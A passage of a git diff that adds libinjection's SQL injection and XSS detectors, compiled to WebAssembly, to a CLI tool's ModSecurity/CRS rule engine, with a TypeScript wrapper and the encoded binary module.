=> v.endsWith(op.arg); break; case 'within': test = (v) => op.arg.includes(v); break; + // ModSecurity v3 counts libinjection's ERROR (parser in an invalid state) as + // a match, fail-safe, like TRUE. + case 'detectSQLi': + loadLibinjection(); + test = (v) => detectSQLi(v).result !== 0; + break; + case 'detectXSS': + loadLibinjection(); + test = (v) => detectXSS(v) !== 0; + break; } return op.negated ? (v) => !test(v) : test; } diff --git a/apps/cli/src/core/crs/libinjection.ts b/apps/cli/src/core/crs/libinjection.ts new file mode 100644 index 00000000..8e9e0f89 --- /dev/null +++ b/apps/cli/src/core/crs/libinjection.ts @@ -0,0 +1,71 @@ +// libinjection (github.com/libinjection/libinjection, BSD-3-Clause), compiled +// to WebAssembly by scripts/build-libinjection-wasm.mjs: the SQLi and XSS +// detectors behind CRS's @detectSQLi (942100) and @detectXSS (941100). +// +// The module sits at libinjection/libinjection.wasm beside this file in the +// source tree, and beside the bundle in dist/ (tsup copies it), so one path +// resolves from both. It imports nothing, and is compiled and instantiated +// synchronously, once: when a CrsEngine is built, or on the first detector call. + +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; + +/** libinjection's injection_result_t: TRUE, FALSE, or ERROR when its parser reached an invalid state. */ +export type InjectionResult = 1 | 0 | -1; + +export interface SqliResult { + result: InjectionResult; + /** The token fingerprint that matched (e.g. `s&1`), when result is TRUE; else empty. */ + fingerprint: string; +} + +/** What libinjection.wasm exports (scripts/libinjection-wasm.c). */ +export interface LibinjectionModule { + memory: WebAssembly.Memory; + _initialize(): void; + tc_input(n: number): number; + tc_sqli(n: number): number; + tc_fingerprint(): number; + tc_xss(n: number): number; +} + +let wasm: LibinjectionModule | undefined; + +/** Compiles and instantiates the module, once; the detectors call this themselves. */ +export function loadLibinjection(): LibinjectionModule { + if (!wasm) { + const bytes = readFileSync(join(__dirname, 'libinjection', 'libinjection.wasm')); + wasm = new WebAssembly.Instance(new WebAssembly.Module(bytes), {}).exports as unknown as LibinjectionModule; + wasm._initialize(); + } + return wasm; +} + +/** A view of the module's memory, replaced when the memory grows (which detaches the old buffer). */ +let view: Buffer | undefined; + +/** Copies a byte string (one char per byte) into the module's input buffer. */ +function put(w: LibinjectionModule, bytes: string): void { + const ptr = w.tc_input(bytes.length); + if (ptr === 0) throw new Error(`libinjection: cannot allocate ${bytes.length} bytes`); + if (view?.buffer !== w.memory.buffer) view = Buffer.from(w.memory.buffer); + view.write(bytes, ptr, bytes.length, 'latin1'); +} + +/** libinjection_sqli over a byte string (one char per byte). */ +export function detectSQLi(bytes: string): SqliResult { + const w = loadLibinjection(); + put(w, bytes); + const result = w.tc_sqli(bytes.length) as InjectionResult; + if (result !== 1) return { result, fingerprint: '' }; + const start = w.tc_fingerprint(); + if (view?.buffer !== w.memory.buffer) view = Buffer.from(w.memory.buffer); + return { result, fingerprint: view.toString('latin1', start, view.indexOf(0, start)) }; +} + +/** libinjection_xss over a byte string (one char per byte). */ +export function detectXSS(bytes: string): InjectionResult { + const w = loadLibinjection(); + put(w, bytes); + return w.tc_xss(bytes.length) as InjectionResult; +} diff --git a/apps/cli/src/core/crs/libinjection/libinjection.wasm b/apps/cli/src/core/crs/libinjection/libinjection.wasm new file mode 100644 index 0000000000000000000000000000000000000000..440cf64d260be86cfd94dde300aff3a5eed74d3d GIT binary patch literal 180356 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 